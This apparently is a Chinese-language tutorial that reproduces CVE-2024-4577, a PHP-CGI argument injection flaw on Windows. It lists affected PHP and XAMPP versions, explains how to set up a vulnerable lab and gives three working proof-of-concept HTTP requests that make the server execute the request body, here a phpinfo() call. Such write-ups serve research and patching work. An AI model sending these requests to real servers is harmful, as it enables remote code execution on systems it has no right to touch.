CVE-2024-4577 是一个影响 PHP 的严重漏洞,尤其是在 Windows 平台上以 CGI 模式运行的 PHP 安装中。该漏洞允许攻击者通过发送精心设计的 HTTP 请求执行远程代码。本文将详细介绍 CVE-2024-4577 的背景、环境设置、攻击代码以及复现步骤,帮助读者理解其利用方式并提供缓解建议。
漏洞背景
CVE-2024-4577 是一个 CGI 参数注入漏洞,影响所有在 Windows 操作系统上以 CGI 模式运行的 PHP 版本.该漏洞由DEVCORE的研究员 Orange Tsai 发现,并于 2024 年 6 月披露。其 CVSS v3 评分为 9.8(严重),表明其具有高度危险性。
漏洞的根源在于 PHP 在处理某些字符时存在问题,尤其是在中文(简体和繁体)或日文语言环境下。攻击者可以通过发送带有恶意参数的 HTTP 请求,利用这一缺陷在服务器上执行任意代码,可能导致系统被完全控制、数据泄露或服务中断。
受影响的 PHP 版本包括:
PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
PHP Windows版 影响版本 == 8.0.x
PHP Windows版 影响版本 == 7.x
PHP Windows版 影响版本 == 5.x
XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
XAMPP Windows版 影响版本 == 8.0.x
XAMPP Windows版 影响版本 == 7.x
XAMPP Windows版 影响版本 == 5.x
环境设置
为了复现 CVE-2024-4577,我们需要搭建一个易受攻击的测试环境。XAMPP 在 Windows 上的默认安装配置了 PHP 的 CGI 模式,是一个理想的选择。以下是具体步骤:
1. 安装 XAMPP
从 XAMPP 官方网站 下载适用于 Windows 的版本。
安装时选择默认设置,确保 PHP 版本在 8.3.8、8.2.20 或 8.1.29 之前(这些版本已修复漏洞)。
安装完成后,启动 Apache 服务器。

2. 确认 PHP 配置
打开 XAMPP 控制面板,确认 Apache 服务已运行。
在浏览器中访问 http://localhost,验证 XAMPP 安装成功。
检查 PHP 是否以 CGI 模式运行:
打开 XAMPP 安装目录下的 apache\conf\extra\httpd-xampp.conf 文件。
查找类似以下的配置行:
ScriptAlias /php-cgi/ "C:/xampp/php/"
这表明 PHP 以 CGI 模式运行,是漏洞利用的前提。
3. 设置语言环境
该漏洞在中文或日文语言环境下更容易触发。可以模拟这些环境:
修改 Windows 系统语言为中文(简体或繁体)或日文。
或者编辑 php.ini,设置 default_charset = "gb2312"(简体中文)或 default_charset = "Shift_JIS"(日文)。
攻击代码为了利用 CVE-2024-4577,我们需要构造一个带有恶意参数的 HTTP 请求。
以下是一个简单的 PoC(概念验证)示例:
GET /test.php?-d+allow_url_include=On+-d+auto_prepend_file=php://input HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
<?php phpinfo(); ?>
POC2
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3d0+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20
<?php phpinfo();?>
POC3
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20
REDIRECT-STATUS: 1
<?php phpinfo();?>
请求解释
- ?-d+allow_url_include=On:启用 allow_url_include 配置,允许从 URL 包含文件。
- -d+auto_prepend_file=php://input:将 auto_prepend_file 设置为 php://input,使 PHP 在执行脚本前运行请求体中的代码。
- 请求体
复现步骤
- 发送攻击请求
使用工具(如 Burp 或 Yakit)发送上述 HTTP 请求到目标服务器。

- 观察结果
如果漏洞被成功利用,服务器将执行请求体中的代码。